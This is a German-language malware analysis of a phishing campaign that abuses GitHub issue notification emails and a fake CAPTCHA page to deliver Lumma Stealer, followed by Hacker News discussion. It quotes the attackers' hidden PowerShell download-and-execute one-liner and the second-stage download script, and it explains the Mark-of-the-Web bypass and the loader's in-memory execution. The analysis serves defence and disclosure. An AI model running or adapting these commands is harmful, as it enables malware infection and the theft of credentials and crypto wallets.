- Angreifer nutzten den normalen Benachrichtigungsablauf öffentlicher Repositories, um Repository-Besitzern eine schädliche Nachricht zuzustellen, die wie eine tatsächlich von GitHub versendete E-Mail wirkte
- Da Angreifer den Großteil des E-Mail-Texts gestalten können, lässt sich Phishing nur durch Prüfung von Absender und Links schwer erkennen
- Beim Anklicken des Links erscheint eine gefälschte CAPTCHA-Seite, die Nutzer dazu bringt, einen PowerShell-Befehl in das Windows-Ausführen-Fenster einzufügen; dadurch startet der Download der Malware
- Da die Datei über PowerShells .NET-
System.Net.WebClient.DownloadFile heruntergeladen wird, erhält sie keinen Mark of the Web, sodass Windows-Warnungen zu Signaturen umgangen werden können
- Die finale Payload steht mit Malware in Verbindung, die von mehreren Virenscannern auf VirusTotal als LUMMASTEALER erkannt wurde; sie gehört zur Stealer-Kategorie und zielt auf Zugangsdaten, Krypto-Wallets und sensible Daten ab
Angriffsablauf über GitHub-Benachrichtigungs-E-Mails
- Besitzer öffentlicher Repositories erhalten häufig Benachrichtigungs-E-Mails von GitHub zu Aktivitäten wie Issues, Kommentaren oder Pull Requests
- Angreifer missbrauchen dieses legitime Benachrichtigungssystem in folgender Reihenfolge
- Sie erstellen mit einem Einweg-GitHub-Konto ein Issue in einem öffentlichen Repository
- Sie löschen das Issue schnell wieder
- Der Repository-Besitzer erhält eine von GitHub versendete Benachrichtigungs-E-Mail
- Klickt der Empfänger auf den Link in der E-Mail, wird er auf eine schädliche Website weitergeleitet
- Folgt er den Anweisungen, wird das System mit Malware infiziert
- Der tatsächliche E-Mail-Text behauptete, es sei eine Sicherheitslücke gefunden worden und weitere Informationen seien unter
github-scanner[.]com verfügbar; dabei wurde das „Github Security Team“ imitiert
Warum die E-Mail glaubwürdig wirkte
- Die E-Mail war eine tatsächlich von GitHub versendete Benachrichtigung und bestand dadurch einen großen Teil üblicher Phishing-Prüfungen
- Der Mail-Absender ist GitHub
- Die Links im Text führen zum angezeigten Ziel
- Allein anhand der nicht vom Angreifer kontrollierten E-Mail-Bereiche ist die tatsächliche Situation schwer einzuschätzen
- In der E-Mail wird nicht ausreichend deutlich, dass ein neues Issue erstellt wurde
- Angreifer können mit dem Textkörper den gewünschten Kontext erzeugen
- GitHub-Benachrichtigungs-E-Mails könnten Folgendes verbessern, um die Wirksamkeit solcher Angriffe zu verringern
- Mehr Kontext dazu, welche Aktion die E-Mail ausgelöst hat
- Verringerung des Anteils an vom Angreifer kontrollierten Inhalten
- Mehr Klarheit über den E-Mail-Absender
- Die betreffende E-Mail und die Bedenken wurden an GitHub Security weitergeleitet
Gefälschtes CAPTCHA und PowerShell-Ausführung
- Folgt man dem Link in der E-Mail, wird eine Seite angezeigt, die wie ein CAPTCHA aussieht
- Die Aufforderung, per CAPTCHA zu beweisen, dass man ein Mensch ist, kann Nutzern durch automatische Challenges von Diensten wie Cloudflare vertraut vorkommen
- Diese Seite verwendet jedoch kein übliches CAPTCHA mit Bildauswahl, sondern fordert dazu auf, das Windows-Ausführen-Fenster zu öffnen und einen Befehl einzufügen
- Der in die Zwischenablage kopierte Befehl der ersten Stufe öffnet ein verborgenes PowerShell-Fenster, lädt ein Remote-Skript herunter und führt es aus
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
iex ist ein Alias für Invoke-Expression, iwr ein Alias für Invoke-WebRequest- Das Verhalten entspricht dem Ausführen von
curl | bash unter Linux
- Der Kommentar am Ende des Befehls verdeckt wegen der Größenbeschränkung des Windows-Ausführen-Fensters den vorderen Teil und lässt ihn für den Nutzer wie einen CAPTCHA-Bestätigungstext aussehen
Download der zweiten Stufe und Umgehung von Windows-Warnungen
- Das heruntergeladene Skript lädt
github-scanner[.]com/l6E.exe herunter, speichert die Datei als SysSetup.exe im temporären Ordner und führt sie aus
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe";
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
- Die ausführbare Datei enthielt eine digitale Signatur, die Signatur der schädlichen Binärdatei war jedoch ungültig
- Die Signatur wirkte, als stamme sie von Spotify; nach Gesprächen mit DigiCert wurde sie jedoch nicht als gestohlenes Zertifikat, sondern als gespoofte Signatur eingeordnet
- Windows erkennt anhand des Mark of the Web(MOTW)-Flags, ob eine Datei aus dem Internet heruntergeladen wurde
- Browser und ähnliche Programme können dieses Flag bei heruntergeladenen Dateien setzen
- Software wie Office kann ihr Verhalten anhand dieses Flags ändern
- Lädt man dieselbe ausführbare Datei per Browser herunter, warnt Windows vor der ungültigen Signatur
- Im Ablauf des Opfers lädt jedoch nicht der Browser die Datei herunter, sondern PowerShells .NET-Framework-
System.Net.WebClient.DownloadFile
- Diese Methode setzt bei heruntergeladenen Dateien kein MOTW-Flag
- Windows zeigt Warnungen zur Ausführung mit ungültiger digitaler Signatur nur an, wenn MOTW vorhanden ist
- Da MOTW leicht entfernt werden kann, ist eine Sicherheitslogik, die sich auf dieses Flag stützt, unsicher
- Die beiden damit verbundenen Windows-Schwachstellen wurden an Microsoft gemeldet
Analyse des Loaders und finale Payload
- Da die ausführbare Datei in Ghidra .NET-Spuren zeigte, wurde sie mit dotPeek analysiert
- Der zentrale Ablauf liegt im Einstiegspunkt und in der Methode
PersonalActivation
- Der Einstiegspunkt verbirgt das Konsolenfenster
- In einem Hintergrund-Thread wird
PersonalActivation zweimal aufgerufen
- Mit
VirtualProtect wird ein Speicherbereich als ausführbar markiert
- Die Ausführung erfolgt über
CallWindowProcW
PersonalActivation erhält eine ungenutzte Liste und zwei Byte-Arrays
- Das erste Array wirkt wie ein Datenpuffer
- Das zweite Array ist als
key gekennzeichnet
- Viele mathematische Operationen lassen auf eine Art Entschlüsselungsroutine schließen
- Die Aufrufe von
VirtualProtect und CallWindowProcW wurden auskommentiert und der entschlüsselte Puffer im Debugger überprüft
- Der erste Puffer enthielt unter anderem
CreateProcessA, VirtualAlloc, GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext und ResumeThread
- Auch der Pfad
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe tauchte auf
- Der zweite Puffer hatte die Form einer Windows-Executable mit
MZ- und PE-Headern
- Der Loader lädt die im großen Byte-Array am Anfang enthaltene „verschlüsselte“ EXE in den Speicher, markiert sie als ausführbar und startet sie
Erkennung als Lumma Stealer und verwendete Tools
- Die letzte Stufe war eine Windows-EXE und nicht .NET; allein anhand der Ghidra-Ausgabe war eine weitere Analyse eingeschränkt
- Beide Binärdateien wurden auf VirusTotal bereits von mehreren Virenscannern erkannt
- In den Erkennungsnamen erscheint durchgehend das Muster LUMMASTEALER
- Lumma ist eine Form von Malware-Betrieb als „Malware as a Service“
- Der Stealer-Code sucht nach Krypto-Wallets, gespeicherten Zugangsdaten und sensiblen Daten
- Die gesammelten Daten werden an einen Command-and-Control(C2)-Server übertragen
- Anschließend kann es zu Gelddiebstahl oder zum Verkauf der Daten kommen
- Lumma-Malware neigt nicht dazu, Geräte von Opfern wie klassische Ransomware zu verschlüsseln
- Als weiterführendes Material zu Lumma wird Cyfirmas Beitrag Lumma Stealer: Taktiken, Auswirkungen und Verteidigungsstrategien empfohlen
- Die für die Analyse verwendeten Tools waren Windows Sandbox, Ghidra, dotPeek, HxD und Visual Studio
1 Kommentare
Meinungen auf Hacker News
Ich frage mich wirklich, ob jemand auf solche Betrugsmaschen hereinfällt.
Zunächst ist es anhand des Screenshots allein nicht eindeutig, aber wenn man davon ausgeht, dass der Autor wusste, dass die E-Mail von GitHub kam, ist das erste Warnsignal, dass sie auf github-scanner.com verlinkt, eine Abwandlung der echten Domain.
Wenn man nicht weiß, wem github-scanner.com gehört, ist es sicherer, es als Betrug zu betrachten, nur weil es wie eine plausible echte Website aussieht.
Das riesige Warnsignal ist, dass das Captcha verlangt, einen Befehl in die Shell einzugeben, und ich weiß nicht, wie naiv man sein muss, um das auszuführen.
Niemand ist perfekt, und je mehr vertrauenerweckende Elemente es gibt, desto höher dürfte auch die Conversion-Rate sein.
Wenn jemand schlecht sieht, unter Zeitdruck steht oder müde und erschöpft ist, lässt sich auch jemand, der normalerweise schwer zu täuschen wäre, leichter täuschen.
Wenn groß angelegte Automatisierung möglich ist, kann selbst eine niedrige Conversion-Rate zu vielen übernommenen Konten führen.
Es wirkt nicht viel anders als das Einrichten von SSH-Keys, und neue Nutzer erleben tatsächlich den Ablauf, von GitHub gesendete Befehle zu kopieren und einzufügen.
Das war mit Sicherheit Malware; ich habe die Kommentare sofort gelöscht und die Accounts bei GitHub gemeldet.
Ich wäre auf so eine offensichtliche Masche nicht hereingefallen, aber die Person, die die ursprüngliche Frage gestellt hatte, wirkte anhand ihrer GitHub-Aktivität und der Qualität der Frage nicht besonders technisch.
Wenn sie in der Stimmung gewesen wäre, ohne kritischen Blick schnell irgendetwas auszuprobieren, hätte sie darauf hereinfallen können.
Citi und PayPal machen das bei manchen E-Mails ebenfalls, was mich jedes Mal nervt.
Letzten Monat hielt auf einer Konferenz der CEO eines Cybersicherheitsunternehmens eine Keynote; die Botschaft war, dass in manchen Fällen immer noch über 80 % der Nutzer auf E-Mail-Betrug hereinfallen und man deshalb mehr Geld brauche.
Meine ernst gemeinte Frage an den Redner war: Wenn wir Millionen Dollar und fast 25 Jahre investiert haben und trotzdem noch über 80 % der Nutzer auf falsche Links klicken, machen wir dann nicht grundsätzlich etwas falsch?
Kürzlich habe ich von PayPal eine deutlich plausiblere E-Mail bekommen.
Jemand hatte mir einen Kostenvoranschlag geschickt; offenbar ist das eine Funktion, die man wohl auch unaufgefordert nutzen kann, und als Firmennamen hatte er etwas eingestellt wie: „PayPal muss Sie wegen einer kürzlichen Zahlung über 499,00 $ kontaktieren, rufen Sie +1-... an“.
Dadurch nahm dieser Firmenname wegen der Formulierung „sendet Ihnen einen Kostenvoranschlag über $xxx“ in der PayPal-Angebots-E-Mail den größten Teil des Texts oben ein.
Diese E-Mail kam tatsächlich von PayPal.com, und ich verstehe nicht, warum ein Zahlungsabwickler so ein Problem mit Nutzernamen noch immer nicht verhindert.
Ich habe es gemeldet, aber keine Antwort bekommen; nicht nur dieses Konto, sondern solche Namen insgesamt sollten verboten werden.
Auch das Format sah wirklich wie eine legitime PayPal-E-Mail aus, und ich denke, normale Leute würden auf diesen Betrug häufig hereinfallen.
Wenn ihr die E-Mail haben wollt, kontaktiert mich über die Website in meinem Profil.
Wenn man sich bei PayPal einloggte, wurde auf der Website nichts angezeigt.
Wenn sie etwas brauchen, sollten sie direkt anrufen, den Inhalt in die E-Mail schreiben oder ihn im Portal anzeigen.
Nicht nur aus Sicherheitsgründen: Schon jemand, der fünf Minuten mit HTML gearbeitet hat, kann eine E-Mail erstellen, die „echt aussieht“.
Win+R, CTRL+V
Vom CAPTCHA direkt in die Falle
Ein Junior-Entwickler könnte darauf hereinfallen. Nach dem Motto: „Es ist GitHub, also wird es schon legitim sein, oder? Sicherheitsbenachrichtigungen zu unseren Libraries bekommen wir doch auch alle zwei Monate.“
Man könnte auch denken: „Oh, ein CAPTCHA, das man löst, indem man Code ausführt – spannend!“
Eine Webseite sollte nicht allein durch einen Klick die Zwischenablage füllen dürfen; meiner Meinung nach braucht es eine Inhaltsvorschau.
Man dachte wohl, es sei gelöst, wenn dafür eine Nutzeraktion wie ein Klick erforderlich ist, aber das ist immer noch viel zu schwach – und das ist das erste Problem.
Menschen müssen aufhören, Links in E-Mails direkt auszuführen oder dem Inhalt einer E-Mail eine Legitimität zuzuschreiben. Der E-Mail-Inhalt selbst hat keine Legitimität, und das ist das zweite Problem.
Drittens: Lässt Windows es wirklich immer noch zu, dass eine Maschine mit einer einzigen PowerShell-Zeile auf Root-Rechte-Niveau übernommen wird?
GitHub sollte möglicherweise auch verhindern, dass automatisierte Dienste Links in Issues einfügen, deren legitimer Inhalt nicht remote überprüft wurde.
Sie schicken das an die E-Mail-Adressen der Leute; sie sollten nicht behaupten, nicht zu wissen, dass das für Phishing genutzt werden kann. Das ist selbst nach Maßstäben von 2015 Cybersecurity 101.
Und falls GitHub die obigen Maßnahmen nicht umsetzen kann, sollte es in den E-Mails an Nutzer mehr Inhalte weglassen und wie eine Bank nur noch etwas wie „In diesem Repository gibt es ein neues Issue ...“ schicken.
Dann hätte der Nutzer beim Nachsehen keine Nachricht mehr gesehen, und damit wäre es erledigt gewesen. GitHub muss hier wohl etwas erwachsener werden.
Man muss die Menschen ordentlich darin schulen, was schädlich ist.
Was Windows angeht: Mindestens zwei unserer Mitarbeitenden haben darum gebeten, von Windows wegzukommen. Wir werden unser Bestes tun; es ist ein langwieriges Projekt, aber am Ende werden wir es schaffen.
Das Schildsymbol im Screenshot des „Ausführen“-Dialogs zeigt eindeutig, dass es sich um einen Nutzer mit Administratorrechten handelt und UAC deaktiviert ist.
Dann wäre es wohl auch an der Zeit, sich darüber zu beklagen, dass Linux mit einer einzigen Zeile
curl malware.zyx/evilscript | bashRoot-Rechte kapern lässt.Die Clipboard-Strategie sollte ebenfalls leicht zu blockieren sein. Die meisten Betrüger bringen Leute am Telefon einfach dazu, eine gut getarnte URL direkt in den Ausführen-Dialog einzugeben.
Ja, ich bin ein 10x-Windows-Nutzer.
Wir können Windows als „Root“ behandeln, weil wir Root sind – genauer gesagt, weil die Windows-Installation das zuerst eingerichtete Benutzerkonto immer zu einem Administratorkonto macht.
Das ist ein Vorteil. Wir können auf dem Computer, den wir besitzen und benutzen, tun, was wir wollen.
In einer Zeit, in der Betriebssysteme immer stärker abgeschottet werden und Nutzer ihre Computer nicht mehr wirklich besitzen und verwalten können, erlaubt Windows das einfach.
Bitte, bitte sorgt dafür, dass sich das niemals ändert.
Kurz gesagt: Klickt nicht auf Links in E-Mails.
Sind github-scanner.com und github-scanner.shop noch derselbe bösartige Akteur? Sieht so aus.
Dass das DNS bei Cloudflare liegt, ist schon lustig. Cloudflare sagt bekanntlich, man „hoste nichts“, aber sie halten uns wohl alle für dumm.
Bei Cloudflare, das keinerlei Verantwortung übernimmt, scheint es nicht einmal eine Möglichkeit zu geben, solchen Missbrauch zu melden.
Die Domain 2x.si, die Malware hostet, nutzt sowohl für DNS als auch für Hosting Cloudflare.
Zumindest das kann man Cloudflare melden, aber das Abuse-Meldeformular rate-limitiert Menschen und verlangt sogar ein CAPTCHA.
Da kann man nur seufzen. Dank Cloudflare sind Phishing und Malware-Hosting heutzutage viel zu einfach geworden.
Das ist meine Erfahrung mit beiden Seiten.
Auf dieser Seite wird Phishing & Malware als auswählbarer Abuse-Typ angezeigt.
Das ist eher Genörgel als ernsthafter Sicherheitskommentar, aber es hat mich immer gestört, dass ein Phishing-Test schon dann als fehlgeschlagen gilt, wenn jemand „irgendeinen Link in einer E-Mail anklickt“.
Entscheidend ist doch eher, ob man auf der Phishing-Seite Zugangsdaten eingegeben oder eine Datei heruntergeladen und geöffnet hat.
Ich verstehe, dass es einfacher ist, nichttechnischen Nutzern beizubringen, gar nicht erst auf schlechte Links zu klicken, und dass es auch Browser-Schwachstellen gibt, aber trotzdem ist das irgendwie nervig.
Ich habe oft gesehen, dass solche Geschichten am Ende damit enden, dass ein Nutzer Zugangsdaten eingibt, dem Browser seltsame Berechtigungen erteilt, eine Datei herunterlädt oder – wie hier – einen Befehl ausführt.
Fälle, die mit „Man klickte auf den Link und dann wurde ein Browser-0-day ausgelöst, Ende“ enden, habe ich kaum je gesehen.
Webbrowser haben eine große Angriffsfläche, sind aber gleichzeitig Werkzeuge, die dafür gebaut wurden, im Internet zu surfen.
Die meisten klicken bei der Arbeit oder Recherche ziemlich beiläufig auf Links.
Defense in Depth ist nötig, aber eine Sicherheitsrichtlinie, deren Kernprinzip „Besuche niemals eine bösartige Website“ lautet, wirkt ziemlich fehlerhaft.
Eine Möglichkeit wäre, Qubes OS zu verwenden und Links nur in einer Wegwerf-VM zu öffnen und darüber hinaus keine Informationen einzugeben.
Wenn ich Bestätigungs-E-Mails für neue Konto-E-Mail-Adressen bekomme, mache ich das meistens so.
Man kann Link-Klicks schließlich nicht immer vermeiden.
Beim Abschnitt „der Angreifer löscht das Issue schnell“ wurde mir klar, dass ich noch nie ein von mir erstelltes Issue gelöscht habe.
Aber können in einem Repository nicht nur Personen mit Adminrechten Issues löschen? https://docs.github.com/en/issues/tracking-your-work-with-issues/deleting-an-issue
Dann müssten in Wirklichkeit Spuren dieses Issues im Repository zurückbleiben, und bei Pull Requests wäre es genauso.
Die Behauptung, es gebe keinen Hinweis darauf, dass die E-Mail zu einem neuen Issue gehört, ist falsch.
Das „(Issue #1)“ im Betreff bedeutet genau das.
Ich habe dieselbe E-Mail tatsächlich auch bekommen und sofort erkannt, dass in dem Repository ein neues Issue erstellt wurde.
Wie schon daran zu sehen ist, dass es das erste Issue des Repositorys war, ist dieser Nutzer offensichtlich nicht mit GitHub Issues vertraut.
GitHub sollte neue Nutzer wohl besser anleiten.
Solche Leute können wirklich leicht darauf hereinfallen.
Techniker würden es wohl erkennen, aber das ist kein Freibrief dafür, dass GitHub es nicht besser machen müsste.
Ich habe heute Morgen eine dieser Benachrichtigungen bekommen und sie sofort ignoriert.
Lustig war, dass ausgerechnet dieses Repository das Ziel war: https://github.com/kyledrake/theftcoinjs
Lesenswerter Artikel. Er zeigt, was die Angreifer vorhaben.
Schon am Link kann man leicht misstrauisch werden, aber es ist interessant zu sehen, wie jemand der Sache nachgeht.
Ich habe heute Morgen einen Bug in einem GitHub-Repository gemeldet, und keine Minute später antwortete jemand ungefähr so:
„Probieren Sie das aus. Es sollte das Problem beheben. Wenn Sie einen Compiler brauchen, installieren Sie GCC.“
Danach kamen ein Bitly-Link, der zu einer ZIP-Datei auf MediaFire weiterleitete, und ein Passwort.
GitHub hat meine Missbrauchsmeldung innerhalb einer Stunde bearbeitet und alle Beiträge dieses Nutzers entfernt.
Meine Güte, ich habe auch ähnliche GitHub-Benachrichtigungs-E-Mails bekommen.
Darin stand, dass in einem Repository eine Schwachstelle entdeckt worden sei; bis ich diese News gesehen habe, wäre ich nicht auf die Idee gekommen, dass sie gefälscht sein könnten.
Trotzdem habe ich als fauler Programmierer nicht darauf geklickt. Einmal geschrieben ist geschrieben; ich schreibe Code zwar neu, aber ich suche und behebe keine Bugs in meinem eigenen Code.
Das ist eine Funktion, mit der GitHub über Sicherheitslücken in den Abhängigkeiten eines Projekts informiert.
Wenn man zum Beispiel Python verwendet und in
requirements.txtdie Bibliothekrequestsangibt, informiert GitHub per E-Mail über veröffentlichte Schwachstellen in dieser Bibliothek und empfiehlt ein Upgrade auf eine höhere, korrigierte Version.